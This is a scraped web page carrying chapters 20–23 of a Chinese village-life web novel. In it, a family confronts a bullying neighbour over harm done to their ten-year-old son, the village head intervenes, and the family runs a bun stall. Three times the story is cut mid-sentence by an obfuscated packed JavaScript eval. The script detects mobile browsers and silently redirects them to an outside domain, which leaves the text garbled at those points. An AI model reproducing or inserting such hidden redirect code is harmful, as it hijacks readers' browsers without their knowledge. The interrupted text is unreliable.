不是因为塞满了人,而是人聚集在一处,聒噪刺耳的声音不断响起,污言秽语搅和的凌星心神不宁,徒增烦躁。 他并不轻易的有脾气,许多时候也想着和气生财。 可一想到明明沈来才是受害者,结果却被加害者倒打一耙。还要被当着那么多人的面,言语羞辱。 而沈来他才十岁。 他心思那样敏感细腻。 听到这些,那孩子心里会怎么想?该有多难受。 凌星要往前走,被曹满月拉住了手。 曹满月看着凌星的脸,知道哥夫动怒生气了。 她也气,小叔子是个好孩子,她心里头知道。但更多的还是怕惹了方家的人。 看到凌星不管不顾要上前的时候,曹满月的气愤完全被惊慌替代,想也没想的就把人拉住,压低声音道:“哥夫别去。那方家咱们惹不起,没看爹娘都不敢多说什么?” 想到凌星不清楚方家在小柳村的地位,曹满月又快速小声的说一遍,“富户方家是村长都给几分面子的,今日来的是方家嫁出去的四姑娘,她丈夫是镇上大粮铺的掌柜,村里每次夏收秋收,都指望对方收粮呢。” 粮食是村民的命,一年到头的两收,是一家子的生计。 凌星听到这,终于想明白为什么那些人,敢在村口那样随时会有人经过的地方,做出那样恶劣的事情。 他们有恃无恐,根本不怕被看见。 甚至于有人看见,但是碍于动手的人是掌握他们经济来源粮铺掌柜的儿子,所以假装没看见。 “哥夫,那些大人物们早就划好了地界,谁也不干预谁。咱们周边的村子粮食只能卖那粮铺,别的铺子不会收我们粮食的。秋税繁重,咱们一家子加起来五两银子打不住,可真不能争一时意气。” 曹满月还在劝说,她是真的怕家里粮食卖不出去,没了进项。 更别说那方秀霞还是个小心眼的,真得罪了,以后指不定要怎么针对他们家。 凌星只觉得手脚冰凉,这是一个多可怕的地方。一个区区粮铺掌柜,都能如此拿捏他人。 凌星浑身发冷僵硬,徐有芳也因沈来被骂,而与方秀霞争执起来。 身为母亲,徐有芳不能容忍自己的孩子,在她的面前被人如此肆意辱骂。 方秀霞没想到沈家人竟然敢反驳她,她嘴里骂的更难听,什么脏骂什么,连着沈家其他人一起骂。 就连凌星和去世的沈还,她都不放过。 “活该你大儿子死了,他早死就是报应!老天爷看不过他活着,贱东西早死早好。还有那冲喜来的哥儿,也是个短命鬼,进门就躺那么多天,后头是没几天活了!” 徐有芳再怎么像村妇,她总归读过书,礼义廉耻深刻在心里。 方秀霞嘴里那些污言秽语,恶毒诅咒,哪怕叫她一字一句的复述,她都嫌脏开不了口。 在听到去世的沈还被如此辱骂时,徐有芳彻底受不住,气血上涌眼前一黑,人差点没站住。 此时,一直沉默着的沈来大喊一声,“我要告官!” 那边赵二宝和赵三财也因此浑身僵硬。 沈来红着一双眼睛,瘦巴巴的脸上全是坚定,他直直的盯着方秀霞,“赵二宝和赵三财没和你说,他们看到我孕痣了吗?还有方宝根他们也都看到了,县令大人说过,男子超过十岁,窥探哥儿孕痣都要被罚。” 院子里的争吵谩骂声没了,安静的可怕,只有沈来斩钉截铁的声音,“我要报官,他们一个都跑不了。” 来的这些大人还真不知道这件事。 方秀霞惊疑的扭头看向两个儿子,见他们不敢看她,就知道这事是真的。 她一巴掌抽在离得近的赵二宝身上,“怎么不早说有这事?” 赵二宝疼的龇牙,他也闹不明白觉得委屈。 “我哪知道沈来敢当着这么多人面说这个啊!而且娘你也没给我时间说啊,不是见我手有伤,抓着我问原因后就忙着把几家人聚齐来沈家了。” 因沈来的话,方秀霞一行人不得不聚在一起窃窃私语,商量着要怎么办。 沈来孕痣被看去的事情,沈家人知道。 回来的时候,徐有芳就问了沈来。 为了沈来以后好嫁人,不被夫家看不起嘲笑打压,这事沈家决定私下解决的。 凌星那时候昏迷着,根本不知道还有这事。 他有原身记忆,因此也知道孕痣对哥儿来说的重要性。 这东西被看了,对哥儿的影响不亚于身子被人看光。 不会掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14036491|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块肉,但会引来许多的非议。 流言偏偏最杀人。 凌星惊讶于沈来的勇气果敢,他用自己的方式,在捍卫着家人的尊严。 曹满月发现自己拉不住凌星了。 小叔子的话她听的见,哥夫就算不挣开,她也没那个脸被小叔子如此维护下,还拉着哥夫不让他站在小叔子身边。 徐有芳见沈来把孕痣的事喊了出来,她心疼的要命,抱着沈来哭出声,“你这孩子说这个做什么?你以后可怎么办啊我的小五!” “娘,我做错了吗?” 沈来有些无措,他只是想叫那人闭嘴,他无法容忍那人再辱骂他的家人。 也想要那些做坏事的人有惩罚。 他除了这样,没有别的办法。 可娘哭了,所以他做的不对吗? 徐有芳说不上来对错,沈呈山和沈归也沉默不语。孩子还太小,一些事情就算说了,也没办法明白。 “没有错的小五。” 温和的声音在耳边响起,沈来感觉到头被轻轻的摸了,他仰头看见哥夫在对他笑。 “小五,你是我见过最勇敢最好的孩子。你没有错,哥夫还要谢谢小五的维护。” 不管是在村口,紧要关头推开他不让他被砸。还是现在,为了让人不再纠缠辱骂,说出报官的话。 沈来脸上有了笑意,哥夫说的肯定是对的。 听到凌星的话,沈家人也意识到事情已经没办法转圜,毕竟话都说出去了。 当下安抚好孩子才是最重要。 徐有芳擦干眼泪,“你这孩子说啥呢,你吃了亏咋能是你错?娘就是担心你以后不好嫁人,日子不好过。” “那我以后不嫁人。”沈来想也没想下意识的回答。 他挺喜欢家里的,不嫁人还可以一直和家人在一起,他一点也不想去不认识人的家里。 “又说浑话。”徐有芳嘴角轻扯,心里弥漫着浓浓的担忧。 沈归最见不得人哭,他都不知道为什么他爹娘要一副天塌了的样子。 “娘你别担心,小五一直在家我这当哥的能照应。满月又不是那种容不下人的,担心那么远干什么。” 曹满月立即点头表态,“是啊娘。” 这些话不说以后成不成,但至少在此刻起了安抚作用。 沈呈山与徐有芳又问了些沈来之前发生的细节,听到沈来说方宝根他们以前就总骂他打他。 后来因为打不过他,就只骂他了。 二老脸色一变,难怪小五以前总会带着伤回家。他们那时候时间都用在赚钱买药上,只当是孩子小顽皮的原因。 本想息事宁人私下解决,这下一想不如就按孩子说的去办。 处处忍让,只会叫人得寸进尺。 尤其在这种杂姓的村子里,真叫人觉得是软柿子的话,后面谁都能来捏他们沈家两下。 沈家这边决定报官,公事公办。 方秀霞那头也商量出了结果,只听方秀霞尖锐的声音道:“沈家这哥儿年纪轻轻的就会胡乱攀扯汉子,他自己扯了布条露出孕痣,还偏说是别人拽的。真是不要脸面。” 凌星觉得自己幻听了,这人怎么能如此颠倒黑白! “你说什么?我亲眼看见你家那坏东西手拽着我家小五头发的!” 方秀霞下意识脱口而出的反驳,“你人晕都晕了,哪只眼睛看见的?” 怕还有什么事不知道,方秀霞刚刚逼着赵二宝和赵三财有什么就全说出来,这才知道凌星被三儿子打晕了。 凌星气结,他一扫对面众人,气的发笑。 这是说好要打死不承认,要栽赃到底了。 21. 第 21 章 不能气,凌星在心中默默的想着。 气愤只会让他丧失理智,被别人牵着思绪走。 深呼吸两次后,凌星稍微平复些情绪,他盯着方秀霞,“好啊,你也知道我晕了?那知道我为什么晕吗?小五的事你不承认,那就来说说我的事。故意伤人,杀人未遂,我看你儿子能受得住哪个罪名。” “谁看见我儿子对你动手了!”方秀霞尖叫出声。 不就是推了一下,怎么就伤人,杀人了?方秀霞听着凌星嘴里说的罪名,光听着心里就发慌。 凌星全然不在意方秀霞的怒气,只平静道:“你不会真以为这里串供就能瞒过衙门吧?知道衙门怎么审案子的吗?” “钉板钉肉,夹棍夹手,火烙烫皮,断头绳吊着脖子让你窒息却不让你死……哪一样不能叫人说出真话来?大的能忍,那几个小的你确定他们能忍?” 凌星举了几个例子,方秀霞脸色苍白。 她是知道衙门里会有见不得人的手段,好好人只要进去,不死也脱层皮。 不待她张口,就听她弟弟那不成器的儿子嗷嗷叫,“我看见三表哥打了!别钉我肉啊!” 很快他就被他沉默寡言的爹娘捂住了嘴,不让他再说话。 凌星微微一笑,一派和气模样,说的话却能气死方秀霞,“你看,都还没怎么样呢,这就招供了。现在在场的诸位可都听见了吧?到时候要是装不知道,可是要被上刑的。” 除沈家人以外的所有人,心中只有一个念头,真要是听不见就好了。 他们一点也不想听见啊! 方秀霞强撑着嘴硬,“你说衙门上刑就上刑啊!” “我豁出去这条命去对县令承诺,愿意签下生死契书只为寻真相。但凡查证出来他们无辜,我愿以死谢罪。你敢豁出命来,说我所言为虚吗?” 凌星的话震的方秀霞不敢说话,这是个疯子吧?连命都不要? 沈家人听到凌星的话怔愣过后,心中一片温热。 沈呈山作为一家之主,他当即挡在凌星前面,“我沈家来小柳村十余年,不曾与谁家红过脸。今日我大儿夫郎与老幺受尽委屈,就算是拼了这条老命,我也要给他们讨个公道。” 徐有芳,沈归和曹满月也跟着表态,左右一个意思,就是要他们死,也要讨公道。 除方家以外的几家人直接心生退意,他们本来就是为了巴结方家这才来的。 本就是他们不在理的事,去衙门他们肯定捱不过去啊。 沈家这次还铁了心要说法,早知道就不来了,还能当不知道,哪里能闹到现在这般地步。 哪怕是拦着方秀霞少说两句…… 哎,不能想,越想越后悔。 方秀霞一时间也没了办法,她满脑子只想逼着沈家人放弃这个念头。 “你们敢报官,信不信粮铺不再收你沈家的粮食!我还能叫你们在小柳村活不下去!” 凌星正想反驳,就听一道沉稳浑厚的声音响起,“你叫谁在小柳村活不下去?说来给我这做村长的听听。” 村长来了。 人群让开一条道,凌星看到一个陌生的中年人,头发半白,但身子骨很健朗,声音中气十足。 身边还有个熟悉的人,今天下午刚见过的,谢青崖。 趁着村长在和方秀霞讲话,谢青崖悄悄挪到沈呈山那。 “我见方秀霞带着一堆人气势汹汹来沈家,怕出事就去请了村长来。” 沈呈山是真的感谢,方家因为那有本事的夫婿,是村长都给面子的人家。两家住的也近,方秀霞找这些人来动静不可能小,村子里什么事都瞒不过村长。 一开始村长没来,就表明了他不掺和。 如今被王夫郎请来替他们家主持公道,是沈家欠了王夫郎人情。 方秀霞见到村长,气焰没收,反而嚣张起来。 “村长来了也没用……” “你少说两句吧方秀霞。” 村长祝如山不耐烦的打断道:“你是打探好沈二郎去深山里下笼子人不在家,所以带着一群人来沈家作威作福了?” “你也不想想,他沈二是去下笼子,不是死了。你今日这样闹,是要怎样?后面日子不过,就活今天一晚?沈二拳头能打死成年的大野猪,我看看你方秀霞能挨他几拳,能不能比野猪能扛他打。” 想到沈回那煞神,方秀霞就脸色发白。 那人是真凶狠,别说野猪,大蟒蛇都看他扛过几回去镇上。 她每次见到都能被吓到腿软发晕,太骇人了。 “他,他再厉害,我不让收粮……” 谢青崖轻咳一声,祝如山听着声眉头紧皱,脸色很不好的警告方秀霞,“你方家仗着这么个粮铺女婿,在我们小柳村也捞不少好处。谁家不是贴着你家,便宜好处都叫你家占?” “我到底是村长,我到要看看那粮铺是不是真的能不要一整个村子的粮食。到时候,你那相公掌柜能不能受的了东家的怒火。” 方秀霞会算账,一家人的粮食不要,对一家粮铺来说没什么。 可一个村子,尤其是小柳村是个杂户大村,近百户的大村。 这要是不要,那她相公掌柜也当到头了。 “可我只说了不要沈家。”方秀霞声音变小许多。 祝如山冷哼一声,他平时就是给方家太多好脸了,真飘了起来。 连回娘家来的都踩他头上蹦跶,说村长来了也没用这种话。 他倒要看看到底有没有用。 “不要沈家,就是不要小柳村。我不信我们村子近百户的粮食没粮铺收。” 为了几家的小利,各个粮铺自然不值当坏了默认的规矩。 可百户人家的粮食,这利便足以让其他粮铺动手。 没有商人会放着地上的银子不捡。 祝如山瞧着方秀霞脸色变来变去,心里知道这是忌惮害怕了。 方秀霞脸色不好的问:“村长,你成心要帮沈家?” 祝如山哼了一声,“我是帮你不被下山的沈回一拳打死。” 再这样闹下去,沈回真能连夜把方家给拆了。 方秀霞之前就是想着速战速决,趁着沈回不在,把田契拿到手或是得到沈家画押的欠条。到时候就算沈回下山也没用,反正她手里有东西。 谁知道沈来会突然嚷嚷起来报官,那冲喜来的哥儿也跟着叽歪说报官。 更没想到村长会来。 但说到底,还是怪老二那臭小子没和她说孕痣的事,老三也没提前说她把那冲喜的哥儿打晕了的事。 这才叫她被人拿捏,束手束脚。 方秀霞气着气着眼珠子一转,“我倒是愿意给村长面子退一步,那沈家呢?他们家是嚷嚷着赔命也要报官啊。” 报官这事,不仅影响着方家几家人,也影响着村长。 若一个村子报官的人多了,说明村长管的不好,那县衙是可以直接换村长的。 当然也是从村子里挑。 祝如山心里惊讶面上不显,还好来了一趟,不然沈家都出现在衙门门口了,他才晓得。 “沈老弟,你给我一个面子,这事咱们几家私了。” 后面的事,凌星没有再听。 若能私了,在这个时代,对小五来说是最好的选择。 如今不比后世,女子和哥儿不被允许自己立户生活,他们更不可能长期在娘家住着。 爹娘离世后,哥哥弟弟们不可能会管他们。 凌星知道,就算是沈家的两个哥哥如何保证会照顾小五,沈家二老也不会放心的。 大家都有自己的小家,哪有多余功夫去管旁的。起初或许会好,可以后呢?这种事情无法保证,为了孩子,当爹娘的也不敢冒险。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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想来就是徐有芳从沈来手里换下来的那五枚。 夜里沈来睡的还挺安稳,和平时没什么两样。唯一不同的就是打了几次拳,嘴里念两句咬死你,随后就安稳了许多。 凌星确认沈来没事,也放心的睡了。 月上中天,沈回披着星月顶着冷风终于回到了家。 他动作很轻,直接冷水稍微擦洗,又熟门熟路的从柜子里找到徐有芳留的饭食。 没热直接就倒嘴里吃了。 “谁?”沈回手里端着陶碗,目光凌厉的朝着门口一扫。 “是我二哥。” 沈归今晚翻来覆去的睡不着,听到院子里有动静,估摸着他二哥回来了,就套上衣服摸黑来灶屋。 “二哥,今晚家里发生了大事。” 沈归告了两刻钟的状,嘴巴都不带停一下。最后总结道:“没想到咱们小五虽是个小哥儿,但却如此有血性胆气。” “大哥夫也是,你是不知道他当着方秀霞的面说那些话时的模样,气定神闲但又叫人不敢不信。和平日里笑眯眯的乐呵样完全不同,瞧着像是读过书的大家公子。” 沈回声音一如既往的冷,“小五和哥夫伤哪了?都有谁来家里闹?” 沈归又炸鞭炮一样,噼里啪啦的说了沈来哪里受伤,又说凌星被推倒晕了,接着掰着手指头数,仔细的和沈回说了来家里闹事的人名。 告状完毕后,沈归掀开大水缸上的竹盖子,用葫芦瓢舀半勺的冷水喝润润嗓子。 然后回到屋里躺下,心满意足的睡着了。 翌日一早,去沈家闹事的人,有一个算一个,全都被丢在家门口趴着。 身上脸上都有不轻不重的伤,各个伤的整齐划一,脖颈后还泛着疼,用脚趾头想都知道这事是谁干的。 就是沈家那活煞神沈回,只有他能悄无声息把人打晕了丢门外睡一夜。 此时沈回和凌星已经到镇上摆摊了。 22. 第 22 章 今日凌星出门时,徐有芳还不放心的叫凌星在家休息几天再去出摊子。 前面人晕过去,徐有芳心里多少有些担心害怕。 凌星知道自己晕倒是因为低血糖,并没有其他的大碍。给徐有芳保证没事,又说摊子刚开始做,不好三天打鱼两天晒网,容易没客人,徐有芳这才点头。 她叮嘱沈回多照顾些凌星,又叫他回来的时候,顺路去一趟绣坊,接些绣活回来。 凌星跟着沈回走到那条山间野路,沈回背上的背篓就到凌星背上,而凌星则被沈回背着。 凌星有些虚,强打着精神没成功,趴在沈回背上没一会就睡着了。 周围静谧无声,耳边的呼吸声无限的放大,沈回下意识的偏头躲着,加快脚步朝着镇子走去。 今天比昨天早半个时辰,加上沈回走的快,到镇子的城门口时,天还黑不隆冬的。 摊位空着的还挺多,凌星还是选了昨天的那个。今天肯定会有回头客,地方换来换去不易积攒客源。 这次交了摊位费二人直接去就可,先去仓库那边给竹签,取存着的泥炉陶锅,二人直奔摊子的位置。 今天吸取昨天的教训,包子要边卖边包,不能卖一些的时候才开始包。 凌星擀面包包子,沈回在打水生火。 随着时间推移,清冷寂静的街道人越来越多,手里有些钱的富户们出来觅食。 糖水巷子里,卢花婶子挎着菜篮子准备去早市买菜。 站在院子里用牙粉清洁牙齿的汉子道:“孩他娘,昨天买的那包子馒头今日再买些回来。我要去趟县里的书铺核账目,路上做干粮吃。” 云霞镇只有一家书铺,东家是玉州有头有脸的大户人家,州府下各个县镇都有书铺生意。 刘桂良就是云霞镇赵氏书铺的账房,每月要去一趟县里汇报账目。 他每月有一两另五百钱的月钱,算是高薪。不过家里花销也大,出门在外,刘桂良也是能省则省的。 昨日吃的那包子馒头,味道很是不错。每次出去都带油饼的刘桂良也想着换换口味。 卢花婶子闻言笑道:“还说要绕一趟远路去给你买糖油烧饼,你爱吃那包子馒头倒是省我不少事。” “娘,我们也要吃。” 屋里传来儿子闺女的声音,卢花婶子只得应下,“买买买,真是上辈子欠你们的。这次吃了,这月可都吃不得了。” 应下后,卢花婶子想着身上带的钱似乎不够,又进屋去取。 …… 不出凌星所料,今天包子摊来了许多的回头客。 因为来的早,又有不少的新客被吸引过来。 第一锅包子馒头卖的比昨天要快很多,因为边卖边蒸,也没有叫客人们等的太久。 卢花婶子到包子摊时,已经有不少人排队在买。 好在那包子馒头不像面条要现下,倒也不用排多久的队。 好不容易排到,卢花婶子算一下家里的人口,还有另要给丈夫带走的量,“小摊主,给我十个包子,十个馒头。” 前面包子都是一个一个卖,馒头是两个两个。这还是第一个一下子买了这么多的。 “诚惠六十五文钱。” 沈回算的很快,用竹夹子夹包子馒头的时候,卢花婶子在那数铜钱。 凌星见是卢花婶子,她昨天就是第一个客人,今日又来买了许多,便对沈回道:“二弟,多装两个包子给婶子,她买的多算我们谢她照顾咱们生意。” 听说多给两个包子,卢花婶子喜笑颜开,“哎呦,那多谢小摊主啦。” 说着又看一眼凌星和沈回,“没想到小摊主长得这样显小,年岁竟是比那汉子大的。” 凌星听出这是误会了,“我是他哥夫,不是兄长。” 卢花婶子昨日就看出凌星是个哥儿。 虽然外在没有明显遮挡孕痣的痕迹,但嘴角无须,无明显喉结,就是哥儿的外在特征。 她原先还以为这是一对夫夫出来摆摊子,没成想是哥夫和二弟。 这话再心直口快也不能说出来,卢花婶子只笑着回上句话,“瞧我眼拙,闹了笑话。” 今天面团和馅料的量和昨天一样,包子馒头加起来也就九十多个,原料有限,卖不了太长时间。 一个时辰不到,包子摊就收摊了。 后面有些被买过的食客推荐过来的也没能买到,都对凌星说叫他明日多备些。 凌星想着眼下有二两银子,倒是可以多备些原料,多卖一阵子也能多赚钱不是。 他点头答应下来,说明日会多做些,请大家再来捧场。 因为包子摊,多少还是影响了周围的一些吃食摊子。 面摊子的影响算是最大的,毕竟都是面食。 凌星心里有些过意不去,昨天还请人帮忙关注一下凌月来着,今天就叫对面一个时辰没卖出几碗面去。 不过心里过意不去归过意不去,叫他不摆摊是不可能的。 他也要活着,面摊摊主日子苦,他日子也过的没好到哪里去。 做生意就是这样,总不能因为觉得人家也不容易,自己就不做生意了。 凌星在心里默默的劝解自己,消化情绪,在成功说服自己后,把专门留下的包子馒头递给沈回。 “二弟快吃。” 沈回以为那是凌星留着自己吃的,没想到是给他,“我不用,留着卖钱吧。” 凌星直接塞到沈回手里道:“你体力活干的多,家里的糊糊吃着哪里顶饱。” 在凌星的视线注视下,沈回轻笑一声,觉得凌星这盯小孩吃东西的目光很有意思。 沈回没有全吃,每样都掰了一半,将大点的给凌星,“你吃些,别再晕倒了。” 对于昨天发生的事情,沈回一直没有提起。此时突然一下说起,凌星还愣了一下,他以为沈回不知道。 因为昨晚直到家里人都睡了,沈回都没回来。 想到自己低血糖,凌星怕再添麻烦,也没有拒绝沈回。不过他拿了小一点的那一半,直接塞嘴里,没给沈回换回去的机会。 “二弟怎么知道昨天的事?娘做饭时候和你说的?” 沈回先是盯着手里留下的大半包子和馒头看一眼,随后才往嘴里送,他嚼着馒头摇头,“沈归说的。” 凌星哦了一声,心想沈归睡觉还挺晚的。 吃完包子馒头,摊位也收拾好。路过面摊子的时候,摊主王有麦实打实的松了一口气。 这包子摊昨天的时候还没以为怎样,卖的和他都不是一个东西。 结果今天他这面摊子就因为包子摊少了好多生意。 镇上的人是比村民有点钱,但也没奢侈到早上又吃包子馒头,又吃面条的。 只能二选一的情况下,基本上都选了包子馒头。 这叫王有麦心里很不是滋味。 虽说这做生意有赚有赔在所难免,有竞争更是无法避免。 但是这种突然过来,强压一头的滋味很是叫人不好受。 好在是人卖的快走了,要是再多待些时间,真不知道要怎么办。 王有麦擦着桌子心里叹气,早知道昨天就不收那包子馒头了,叫他如今连想发火都不好意思发。 包子摊收摊,面摊的生意上来了。 很快就有了两名食客坐过来,点了两碗素面,另加鸡蛋。 王有麦没那空闲再想别的,麻利的擀面下面。 那边沈回把东西又送去仓库存放,之后二人没急着回去,而是去绣坊和粮铺。 从绣坊给徐有芳接了绣活后,二人才去粮铺买面粉。 凌星想着这次想着多买点,到时候坐牛车回去,也省的后面隔三差五的再买。 这个想法说给沈回后,就从沈回那得知,货超过五斤的话,牛车也是要另外收费的。 每五斤一文钱。 牛能拉的量有限,货重就只能少拉人。且牛不能太累,赶牛车的每天也就来回两趟,拉的人也有限,因此要价也高。 按着距离,坐牛车从镇上到小柳村一人八文。 沈回给凌星说完,低头问他,“我力气大,即便是背你再加百斤的面粉也觉轻松,哥夫还要花钱坐牛车吗?” 凌星先是惊讶沈回的大力,然后心里算了一下帐,最终摇头。 坐牛车花的太多,还是省下这些能省的钱吧。 粮铺里面空间挺大,地上摆着一排又一排的大木桶,里面装着不同的粮食。 凌星直奔面粉区域,他没有买百斤,压根没钱买那么多。 赔的银子也就二两,一百斤的面粉就全花完了。凌星不想把银子都花在这上,后面要是有点什么事,手里都拿不出银子来。 他还是只买了二十斤的好面粉,花去四百文。这样的话虽然每天要来买一趟,但反正也都来镇上,也算方便。 钱数好送出去的时候,凌星只有一个念头。 这里还真是赚的少花的多啊,这钱也太难赚了些。 东西全都买好,凌星空着手跟在背着竹背篓的沈回身后。 他脚上的草鞋不跟脚,是沈还以前穿的。他那双草鞋昨天砸出去后,没能及时捡回来。 徐有芳把人背回家躺着才发现凌星鞋子不见了,再回去找哪里还能找到啊。 谁看着了捡了就是谁家的。 加上鞋跟被踩在脚下,防止磨损脚后跟,因此走的有些慢不说,鞋子拖地的声音也有些重。 “哥夫在这等我一下。” 沈回让凌星坐在茶摊,给摊主掏了两文买茶水。 不等凌星问他去哪,人就快步离开。 离茶摊的一条街外,有一家卖鞋履的铺子。 里面布鞋,绣花鞋,无跟履,布靴,皮靴应有尽有。 鞋履铺子的伙计没有因为沈回衣着破旧而有所怠慢,他笑脸相迎,询问着沈回需要什么。 “要双布鞋。” 伙计知道需求后,带着沈回到布鞋的区域,“这种布鞋一双五十文,鞋底子是千层底,耐穿不易坏。边上这种贵五文,脚后跟和鞋子顶部内里另缝了软绒布,防止磨脚,且更耐穿。” “要五十五文的。” 伙计笑道:“好的,请问要多大的码?颜色又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037988|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要什么样的?” 沈回不知在想什么,沉默片刻后,他伸出左手,右手指间对着左手掌心和手腕处比划。 “这样的码数就可以,黑色。” 知道鞋码和颜色的伙计去仓库找鞋子,回来后把鞋递给沈回检查。 沈回用手量一下尺码没问题,从他那破旧的荷包里掏钱给了伙计,拿着布鞋离开。 回去的时候,凌星的茶也喝完了。 茶摊可以续茶,凌星看到沈回,见他额头有汗,气息也有些乱,估摸着是跑回来的。 便问他要不要喝茶,可以再续。 沈回看一眼凌星手边空掉的茶碗,又看凌星,见他面容没有任何的异样,神色坦诚,便对茶摊摊主说了再续一碗。 他是有些口渴,回去还有一段路,还是先喝点水比较好。 续的茶水,只能是之前的碗。另起一碗,要再给两文。 沈回端着凌星喝过的茶碗,也不顾茶水是否烫口,直接一饮而尽。 喝完茶,二人离开茶摊。 出城门的时候没看到许七,估计是带人去摊位了。 又到无人的小路,沈回把竹筐换到凌星的背上,将他身上的褂子罩在凌星头上,背着人大步回家去。 路上凌星一直在与沈回说话,问他关于村子里的事情,着重问了方家。 他昨天以为方家多了不得,叫家里人如此忌惮。结果听沈回说完,才明白也就方秀霞嫁的好,一人得道,鸡犬升天。 不得不说方秀霞的命是真好,她年轻时在村子里容貌是数一数二的。 若没有那骇人的脾性和嘴,那真是没得挑。 方家子嗣众多,都还小的时候养起来是费劲。 但随着女子哥儿到了年岁出嫁,家里靠着他们的彩礼钱慢慢的积攒出一笔财富。 有一年粮铺的小管事带着伙计来收粮食,突逢大雨,正巧收到了方家,就在他家躲雨。 没两天,那粮铺的小管事就找媒婆去方家提亲,说要求娶方秀霞。 这还是小柳村第一个嫁去镇上过好日子的,嫁的人还是粮铺的管事,在村民眼里,这简直就是嫁到天上享福去了一样。 后来小管事成了粮铺掌柜,方家在小柳村的地位也因此变高。 那赵家看在方秀霞生儿育女的份上,也愿意拉扯一把岳家,方家的长子和次子,现在也都在粮铺做活。 方家这两年也越来越富。 凌星听完,叹了一口气。 沈回忍着耳边陌生的温热,问道:“怎么了?” “没什么,只是觉得地位压人。” 方家说到底也只是寻常百姓家,不过是比其他的村民们日子过的好一点。 但仅仅是这样,也足够压小柳村所有人一头,逼的人喘不过气。 沈回垂下眼眸,“嗯,不过不必多畏惧方家,赵凡只是粮铺掌柜,给别人干活的。他们再来找麻烦,直接打出去便是。粮食他们不收,我背去县里也一样卖。” 凌星被沈回的话引回心绪,“那么多的粮食背去县里,二弟是想累死自己不成?” “我以为哥夫会说多一事不如少一事。” 凌星摇头,“二弟,人善被人欺,越弱小越不能展露自己的胆怯。” 沈回一副受教模样,点点头问他:“哥夫明理,读过书?” 想到自己虽然大一下半年休学,但肯定也算读过书的,原身也有读书开蒙的记忆,凌星嗯了一声,“是啊,听你大哥说你小时候也念过几年书,都学了什么?” 然后凌星就听沈回像报菜名贯口一样的,报了一堆的书名。 “你那么小的年纪,竟然看过这么多书!”凌星有些惊讶。 沈回声音低沉又平静,“自幼记忆便好,书看几遍就能如数记得。因此,慢慢的看的便多了些。” 这话听的凌星有些羡慕,他要是有这样的好记性,肯定能考个更好的大学。 快到家时,沈回突然道:“背篓里有双布鞋是买给哥夫的,哥夫别叫娘他们知道是我买的。” 凌星一愣,“怎么给我买鞋了?” 说完后又道:“哪能花你的钱,多少钱我给你。” “是我给哥夫买,没道理叫哥夫掏钱。”沈回拒绝道。 “你哪有什么钱用……” 快要到家,沈回只能先打断凌星,“哥夫无需担忧我银钱不够花用,昨天上山,在深山里挖到些草药,顺便卖给邻村的大夫,我这的银钱足用。” 凌星是真不好意思收下布鞋,沈回似乎感受到凌星的纠结,又开口说:“大哥托我照顾哥夫,我做这些是为了大哥,哥夫不必有心理负担,收下就好。” 闻言,凌星心中默默感谢一遍沈还,替他想的面面俱到。但也很奇怪沈回竟然如此的听话。 他看起来不像是那种会乖乖听话的人。 凌星不再推拒布鞋,而是问出心中疑惑,“二弟,你为何那么听你大哥的话?” 沈回道:“大哥救过我的命,三次。” 到家了,沈回没有继续说下去,凌星知道他不想说,也没有再追问。 23. 第 23 章 沈回将凌星放下,接过衣服后把背篓背在自己的背上。 那背篓里有二十斤的面粉,加上蒸笼和钱匣子这些有点重。一路背过来,凌星肩膀稍有不适,抬手揉了揉。 “肩膀可有受伤?”沈回见状问道。 凌星摇头说没有。 二人朝着家门口走,见院子里有人,还传来一阵的哭喊声。 方秀霞又来了。 她早上醒来发现自己睡在外面,两儿子赵二宝和赵三财也一样。 不仅如此,三人脸上都有伤,赵二宝和赵三财伤的重些,像是被东西砸出来的。 两人的手还脱臼了,还是去邻村李大夫那给接上的。 方秀霞心里清楚定是沈二搞的鬼,等两个儿子的手接上后,就气势汹汹的又来沈家。 她如今占着理,可不怕他沈二。 谁知到了沈家才发现沈回根本不在家。 不仅沈回不在家,这两天天气回暖,沈家人都去地里翻地去了。家里只有沈来和沈小春,沈小夏三个孩子。 人不在家,方秀霞也没走。想着昨晚赔出去的银子,今天说什么也要成倍的拿回来。 只有孩子在,对方秀霞来说是再好不过的事了,毕竟孩子不经吓。 昨天晚上方家只有方宝根的爹娘跟着来,闹那一出后丢人又赔钱的,今天方家没人愿意来。 不过方家的大嫂和二嫂,因着家里汉子在赵凡的手底下干活,妯娌两昨晚不在家倒还好说,今天人在家不陪着方秀霞撑场子,面子上也说过不去。 三个女人一台戏,着实是在沈家的院子里耍了好大一通的威风。 沈小春和沈小夏吓的嗷嗷哭,抱一起缩成一团打哆嗦。 就沈来有些战斗力,可他一个十岁的小哥儿,也不是三人的对手。 方家大嫂和二嫂还好些,也没说什么难听的,主要是方秀霞在骂。 她昨天晚上在沈来这吃了大亏了,今天被她逮到机会,势必要骂的人不敢再吭声。 沈来性子烈,听着方秀霞左一口骚货,右一口贱皮子,一头扎进灶屋抄起家里的烧火棍,直接往方秀霞身上砸。 